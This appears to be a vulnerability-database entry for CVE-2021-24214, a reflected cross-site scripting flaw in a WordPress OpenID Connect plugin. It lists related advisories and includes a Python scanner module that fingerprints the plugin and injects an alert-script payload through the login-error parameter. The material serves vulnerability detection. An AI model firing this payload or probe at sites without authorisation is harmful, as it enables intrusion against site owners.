WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2021-24214 | 6 May 202113:15 | – | attackerkb | |
| WordPress cross-site scripting vulnerabilities | 6 May 202100:00 | – | cnnvd | |
| CVE-2021-24214 | 5 May 202118:39 | – | cve | |
| CVE-2021-24214 OpenID Connect Generic Client 3.8.0-3.8.1 - Reflected Cross Site Scripting (XSS) via Login Error | 5 May 202118:39 | – | cvelist | |
| EUVD-2021-11128 | 7 Oct 202500:30 | – | euvd | |
| WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting | 20 Oct 202602:05 | – | nuclei | |
| CVE-2021-24214 | 6 May 202113:15 | – | nvd | |
| CVE-2021-24214 | 6 May 202113:15 | – | osv_cve | |
| WordPress OpenID Connect Generic Client plugin <= 3.8.1 - Reflected Cross-Site Scripting (XSS) vulnerability | 7 Apr 202100:00 | – | patchstack | |
| Cross site scripting | 6 May 202113:15 | – | prion |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress OpenID Connect Generic Client plugin 3."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting Detection',
'description': 'WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve2021', 'cve', 'wpscan', 'wordpress', 'xss', 'wp-plugin', 'wp', 'openid', 'daggerhartlab', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10',
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214',
'https://nvd.nist.gov/vuln/detail/CVE-2021-24214',
'https://github.com/ARPSyndicate/cvemon',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2021-24214',
}
def run(self):
path = '/wp-content/plugins/daggerhart-openid-connect-generic/readme.txt'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('OpenID Connect Generic Client',)
if not (any(m in body for m in body_any)):
return False
path = '/wp-login.php?login-error=<script>alert(document.domain)</script>'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('ERROR (<script>alert(document.domain)</script>):', 'Login with OpenID Connect',)
header_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 3.16.1
EPSS0.0163